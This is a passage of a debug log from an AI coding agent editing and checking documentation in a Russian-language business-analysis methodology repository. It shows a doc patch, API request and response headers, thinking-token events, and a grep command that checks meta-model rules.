\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043d\u0430 \u043f\u0438\u043b\u043e\u0442\u0435](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-source-pilot-verification.md).\\n\u0421\u043c\u044b\u0441\u043b\u043e\u0432\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u043e\u043a\u0430 \u0447\u0430\u0441\u0442\u0438\u0447\u043d\u043e \u0434\u0435\u0440\u0436\u0438\u0442\u0441\u044f \u043d\u0430 \u0441\u0430\u043c\u043e\u0434\u0435\u043a\u043b\u0430\u0440\u0430\u0446\u0438\u0438 \u043c\u043e\u0434\u0435\u043b\u0438:\\n\u043c\u0430\u0448\u0438\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043e\u0442\u043c\u0435\u0442\u043a\u0438 \u00ab\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u043d\u00bb, \u0430 \u043d\u0435 \u0435\u0451 \u0438\u0441\u0442\u0438\u043d\u043d\u043e\u0441\u0442\u044c.\\n\u042d\u0442\u043e \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439 \u0446\u0438\u0442\u0430\u0442\u044b \u043f\u043e \u0444\u0430\u0439\u043b\u0443 \u0431\u0430\u0437\u044b \u0437\u043d\u0430\u043d\u0438\u0439 \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u043c\\n\u0433\u0435\u0439\u0442\u043e\u043c.\\n\\n### \u00ab\u0421\u043a\u043e\u043b\u044c\u043a\u043e \u044d\u0442\u043e \u0441\u0442\u043e\u0438\u0442 \u0438 \u043a\u043e\u0433\u0434\u0430 \u0431\u0443\u0434\u0435\u0442 \u0433\u043e\u0442\u043e\u0432\u043e?\u00bb\\n\\n\u0418\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u043e\u0439 \u043e\u0446\u0435\u043d\u043a\u0438 \u0442\u0440\u0443\u0434\u043e\u0437\u0430\u0442\u0440\u0430\u0442 \u043d\u0435\u0442, \u0438 \u043c\u044b \u0435\u0451 \u043d\u0435 \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u043c. \u0428\u0430\u0433 1 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\\n\u043d\u043e\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0438 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0439 \u0418\u0411. \u0421\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u044c \u0421\u0440\u0435\u0434\u044b 4 \u0431\u0443\u0434\u0435\u0442 \u043e\u0446\u0435\u043d\u0435\u043d\u0430 \u0432\\nRFC \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b (B-218) \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0448\u0430\u0433 2 \u0434\u0430\u0441\u0442 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0437\u0430\u043c\u0435\u0440\u0430.\\n\",\n[2026-09-29T07:55:57.765Z] [INFO]     \"structuredPatch\": [\n[2026-09-29T07:55:57.765Z] [INFO]       {\n[2026-09-29T07:55:57.765Z] [INFO]         \"oldStart\": 467,\n[2026-09-29T07:55:57.765Z] [INFO]         \"oldLines\": 5,\n[2026-09-29T07:55:57.765Z] [INFO]         \"newStart\": 467,\n[2026-09-29T07:55:57.765Z] [INFO]         \"newLines\": 6,\n[2026-09-29T07:55:57.765Z] [INFO]         \"lines\": [\n[2026-09-29T07:55:57.765Z] [INFO]           \" ### \u00ab\u0421\u043a\u043e\u043b\u044c\u043a\u043e \u044d\u0442\u043e \u0441\u0442\u043e\u0438\u0442 \u0438 \u043a\u043e\u0433\u0434\u0430 \u0431\u0443\u0434\u0435\u0442 \u0433\u043e\u0442\u043e\u0432\u043e?\u00bb\",\n[2026-09-29T07:55:57.765Z] [INFO]           \" \",\n[2026-09-29T07:55:57.765Z] [INFO]           \" \u0418\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u043e\u0439 \u043e\u0446\u0435\u043d\u043a\u0438 \u0442\u0440\u0443\u0434\u043e\u0437\u0430\u0442\u0440\u0430\u0442 \u043d\u0435\u0442, \u0438 \u043c\u044b \u0435\u0451 \u043d\u0435 \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u043c. \u0428\u0430\u0433 1 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\",\n[2026-09-29T07:55:57.765Z] [INFO]           \"-\u043d\u043e\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0438 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0439 \u0418\u0411. \u0421\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u044c \u0421\u0440\u0435\u0434\u044b 4 \u0431\u0443\u0434\u0435\u0442 \u043e\u0446\u0435\u043d\u0435\u043d\u0430 \u0432\",\n[2026-09-29T07:55:57.765Z] [INFO]           \"+\u043d\u043e\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b: \u044d\u0442\u043e \u043f\u0440\u0430\u0432\u043a\u0438 runner, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0443\u0436\u0435 \u0435\u0441\u0442\u044c \u0432 \u043f\u0430\u043a\u0435\u0442\u0430\u0445.\",\n[2026-09-29T07:55:57.765Z] [INFO]           \"+\u0421\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u044c \u0421\u0440\u0435\u0434\u044b 4 \u0431\u0443\u0434\u0435\u0442 \u043e\u0446\u0435\u043d\u0435\u043d\u0430 \u0432\",\n[2026-09-29T07:55:57.765Z] [INFO]           \" RFC \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b (B-218) \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0448\u0430\u0433 2 \u0434\u0430\u0441\u0442 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0437\u0430\u043c\u0435\u0440\u0430.\"\n[2026-09-29T07:55:57.765Z] [INFO]         ]\n[2026-09-29T07:55:57.765Z] [INFO]       }\n[2026-09-29T07:55:57.765Z] [INFO]     ],\n[2026-09-29T07:55:57.765Z] [INFO]     \"userModified\": false,\n[2026-09-29T07:55:57.765Z] [INFO]     \"replaceAll\": false,\n[2026-09-29T07:55:57.765Z] [INFO]     \"contentNotInModelContext\": true\n[2026-09-29T07:55:57.765Z] [INFO]   }\n[2026-09-29T07:55:57.765Z] [INFO] }\n[2026-09-29T07:55:57.796Z] [STDOUT] [log_974026] sending request {\n[2026-09-29T07:55:57.799Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:55:57.802Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:55:57.805Z] [STDOUT]   options: {\n[2026-09-29T07:55:57.808Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:55:57.812Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:55:57.815Z] [STDOUT]     body: {\n[2026-09-29T07:55:57.818Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:55:57.821Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:55:57.825Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:55:57.830Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:55:57.834Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:55:57.837Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:55:57.842Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:55:57.845Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:55:57.848Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:55:57.851Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:55:57.854Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:55:57.862Z] [STDOUT]       stream: true,\n[2026-09-29T07:55:57.865Z] [STDOUT]     },\n[2026-09-29T07:55:57.869Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:55:57.873Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:55:57.879Z] [STDOUT]       aborted: false,\n[2026-09-29T07:55:57.885Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:55:57.887Z] [STDOUT]       onabort: null,\n[2026-09-29T07:55:57.892Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:55:57.902Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:55:57.907Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:55:57.911Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:55:57.916Z] [STDOUT]     },\n[2026-09-29T07:55:57.925Z] [STDOUT]     stream: true,\n[2026-09-29T07:55:57.932Z] [STDOUT]   },\n[2026-09-29T07:55:57.938Z] [STDOUT]   headers: {\n[2026-09-29T07:55:57.944Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:55:57.948Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:55:57.954Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:55:57.958Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:55:57.961Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:55:57.964Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:55:57.967Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:55:57.970Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:55:57.973Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:55:57.976Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Edit=65;Edit=22;Edit=26;Edit=23;Edit=16;Edit=38\",\n[2026-09-29T07:55:57.979Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:55:57.981Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:55:57.983Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:57.986Z] [STDOUT]     \"x-client-request-id\": \"68e6f8c6-101c-49e1-ae4d-b1950bf3dfa0\",\n[2026-09-29T07:55:57.988Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:55:57.991Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:55:57.994Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:55:57.997Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:55:58.002Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:55:58.008Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:55:58.015Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:55:58.018Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:55:58.032Z] [STDOUT]   },\n[2026-09-29T07:55:58.035Z] [STDOUT] }\n[2026-09-29T07:55:58.607Z] [STDOUT] [log_974026, request-id: \"req_011CfXNZRMYBoyzm11wd6uwt\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 811ms\n[2026-09-29T07:55:58.611Z] [STDOUT] [log_974026] response start {\n[2026-09-29T07:55:58.618Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:55:58.621Z] [STDOUT]   status: 200,\n[2026-09-29T07:55:58.626Z] [STDOUT]   headers: {\n[2026-09-29T07:55:58.630Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:55:58.636Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:55:58.642Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:55:58.647Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.41\",\n[2026-09-29T07:55:58.653Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:55:58.656Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:55:58.665Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:55:58.669Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:55:58.677Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:55:58.680Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:55:58.684Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:55:58.687Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:55:58.690Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:55:58.693Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:55:58.696Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:55:58.699Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:55:58.701Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:55:58.703Z] [STDOUT]     \"cf-ray\": \"a4296db64d515d90-FRA\",\n[2026-09-29T07:55:58.705Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:55:58.709Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:55:58.711Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:55:58.716Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:55:58.724Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:55:58 GMT\",\n[2026-09-29T07:55:58.731Z] [STDOUT]     \"request-id\": \"req_011CfXNZRMYBoyzm11wd6uwt\",\n[2026-09-29T07:55:58.736Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:55:58.739Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:55:58.748Z] [STDOUT]     traceresponse: \"00-3a39622131998b8c1ea1af85f83ad275-42fb8aaf90155615-01\",\n[2026-09-29T07:55:58.752Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:55:58.755Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:55:58.757Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:55:58.760Z] [STDOUT]   },\n[2026-09-29T07:55:58.762Z] [STDOUT]   durationMs: 811,\n[2026-09-29T07:55:58.765Z] [STDOUT] }\n[2026-09-29T07:55:58.768Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:55:58.771Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:55:58 GMT\",\n[2026-09-29T07:55:58.774Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:55:58.776Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:55:58.779Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:55:58.784Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:55:58.794Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:55:58.800Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:55:58.809Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:55:58.813Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:55:58.822Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:55:58.835Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:55:58.846Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:55:58.849Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:55:58.852Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.41\",\n[2026-09-29T07:55:58.857Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:55:58.863Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:55:58.870Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:55:58.875Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:55:58.877Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:55:58.885Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:55:58.890Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:55:58.894Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:55:58.898Z] [STDOUT]   \"request-id\": \"req_011CfXNZRMYBoyzm11wd6uwt\",\n[2026-09-29T07:55:58.903Z] [STDOUT]   \"traceresponse\": \"00-3a39622131998b8c1ea1af85f83ad275-42fb8aaf90155615-01\",\n[2026-09-29T07:55:58.909Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:55:58.916Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:55:58.924Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:55:58.928Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:55:58.933Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:55:58.936Z] [STDOUT]   \"cf-ray\": \"a4296db64d515d90-FRA\",\n[2026-09-29T07:55:58.943Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:55:58.948Z] [STDOUT] [log_974026] response parsed {\n[2026-09-29T07:55:58.951Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:55:58.953Z] [STDOUT]   status: 200,\n[2026-09-29T07:55:58.955Z] [STDOUT]   body: X {\n[2026-09-29T07:55:58.957Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:55:58.959Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:55:58.962Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:55:58.966Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:55:58.970Z] [STDOUT]     },\n[2026-09-29T07:55:58.972Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:55:58.975Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:55:58.979Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:55:58.983Z] [STDOUT]   },\n[2026-09-29T07:55:58.987Z] [STDOUT]   durationMs: 812,\n[2026-09-29T07:55:58.991Z] [STDOUT] }\n[2026-09-29T07:55:59.153Z] [INFO] {\n[2026-09-29T07:55:59.153Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:55:59.153Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:55:59.153Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:55:59.153Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:55:59.153Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:59.153Z] [INFO]   \"uuid\": \"cd02b948-c20e-47ad-9a4d-64fb6c4474e4\"\n[2026-09-29T07:55:59.153Z] [INFO] }\n[2026-09-29T07:56:00.822Z] [INFO] {\n[2026-09-29T07:56:00.822Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:56:00.822Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:56:00.822Z] [INFO]   \"estimated_tokens\": 200,\n[2026-09-29T07:56:00.822Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:56:00.822Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:56:00.822Z] [INFO]   \"uuid\": \"3203dfc2-77da-411b-a3a2-2564c80505b1\"\n[2026-09-29T07:56:00.822Z] [INFO] }\n[2026-09-29T07:56:02.163Z] [INFO] {\n[2026-09-29T07:56:02.163Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:56:02.163Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:56:02.163Z] [INFO]   \"estimated_tokens\": 400,\n[2026-09-29T07:56:02.163Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:56:02.163Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:56:02.163Z] [INFO]   \"uuid\": \"eabdbd28-4eea-4d59-be60-57029a4f7742\"\n[2026-09-29T07:56:02.163Z] [INFO] }\n[2026-09-29T07:56:03.218Z] [INFO] {\n[2026-09-29T07:56:03.218Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:56:03.218Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:56:03.218Z] [INFO]   \"estimated_tokens\": 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\"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:56:06.737Z] [INFO]   \"uuid\": \"68483d3a-a78e-421d-848a-be672c3faaa1\",\n[2026-09-29T07:56:06.737Z] [INFO]   \"timestamp\": \"2026-09-29T07:56:06.722Z\",\n[2026-09-29T07:56:06.737Z] [INFO]   \"request_id\": \"req_011CfXNZRMYBoyzm11wd6uwt\",\n[2026-09-29T07:56:06.737Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:56:06.737Z] [INFO]     \"toolu_011vrDymWxQcqFUpw8ojjMyA\": {\n[2026-09-29T07:56:06.737Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process; grep -n 'MM-[1-4]' ba-meta-model/10-theory.md | head -12; echo ---; grep -n -i '\u0437\u0430\u043a\u0440\u044b\u0442' docs/presentation/*slides.md | head; echo ---; grep -n -i 'G1\\\\b\\\\|G5\\\\b\\\\|\u043e\u0442\u043a\u0443\u0434\u0430' ba-meta-model/operation-taxonomy/10-theory.md | head -10; echo ---; grep -rn -i '\u0441\u0438\u043d\u0442\u0435\u0442' docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md ba-meta-model/40-practice-and-cases.md docs/presentation/*slides.md | head -5; echo ---; sed -n 44,50p docs/analysis/2026-09-29-cline-package-expectation-gap.md; echo ---; grep -n -i 'gate\\\\|\u043e\u0442\u043a\u0440\u044b\u0442\\\\|status' docs/rfc/2026-09-source-pilot-verification.md | head -8\",\n[2026-09-29T07:56:06.737Z] [INFO]       \"description\": \"Verify remaining meta-model claims\"\n[2026-09-29T07:56:06.737Z] [INFO]     }\n[2026-09-29T07:56:06.737Z] [INFO]   }\n[2026-09-29T07:56:06.737Z] [INFO] }\n[2026-09-29T07:56:08.650Z] [INFO] {\n[2026-09-29T07:56:08.650Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:56:08.650Z] [INFO]   \"message\": {\n[2026-09-29T07:56:08.650Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:56:08.650Z] [INFO]     \"content\": [\n[2026-09-29T07:56:08.650Z] [INFO]       {\n[2026-09-29T07:56:08.650Z] [INFO]         \"tool_use_id\": \"toolu_011vrDymWxQcqFUpw8ojjMyA\",\n[2026-09-29T07:56:08.650Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:56:08.650Z] [INFO]         \"content\": \"67:| `SY-3` | `System` \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0434\u043e \u043d\u0430\u0447\u0430\u043b\u0430 \u0448\u0430\u0433\u0430 \u0442\u0430\u043a \u0436\u0435, \u043a\u0430\u043a \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 (`MM-4`): \u0435\u0451 \u043d\u0435\u043b\u044c\u0437\u044f \u0432\u044b\u0432\u0435\u0441\u0442\u0438 \u0438\u0437 \u0442\u0435\u043a\u0441\u0442\u0430 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 \u0437\u0430\u0434\u043d\u0438\u043c \u0447\u0438\u0441\u043b\u043e\u043c. |\\n140:| `MM-1` | \u0428\u0430\u0433 \u0431\u0435\u0437 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 \u043d\u0435 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f. | \u00ab\u0420\u0430\u0431\u043e\u0442\u0430 \u0438\u0437 \u0432\u043e\u0437\u0434\u0443\u0445\u0430\u00bb: 50 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0438\u0437 67 \u043d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u044e\u0442 \u0432\u0445\u043e\u0434 \u2014 \u0442\u0430\u043a\u0438\u0435 \u0448\u0430\u0433\u0438 \u043d\u0435\u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b. |\\n141:| `MM-2` | \u041a\u0430\u0436\u0434\u044b\u0439 \u0433\u0435\u0439\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442; \u0433\u0435\u0439\u0442 \u0431\u0435\u0437 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u0437\u0430\u043f\u0440\u0435\u0449\u0451\u043d. | \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u00ab\u043d\u0430 \u0443\u0441\u043c\u043e\u0442\u0440\u0435\u043d\u0438\u0435\u00bb, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043d\u0435\u043b\u044c\u0437\u044f \u043d\u0438 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438, \u043d\u0438 \u043e\u0441\u043f\u043e\u0440\u0438\u0442\u044c. |\\n142:| `MM-3` | \u041a\u0430\u0436\u0434\u044b\u0439 \u0432\u044b\u0445\u043e\u0434\u043d\u043e\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u043d\u0435\u0441\u0451\u0442 `Trace` \u043d\u0430 \u0432\u0445\u043e\u0434, \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e, \u0430\u043a\u0442\u043e\u0440\u0430 \u0438 \u043f\u0440\u043e\u0439\u0434\u0435\u043d\u043d\u044b\u0435 \u0433\u0435\u0439\u0442\u044b. | \u0410\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u0431\u0435\u0437 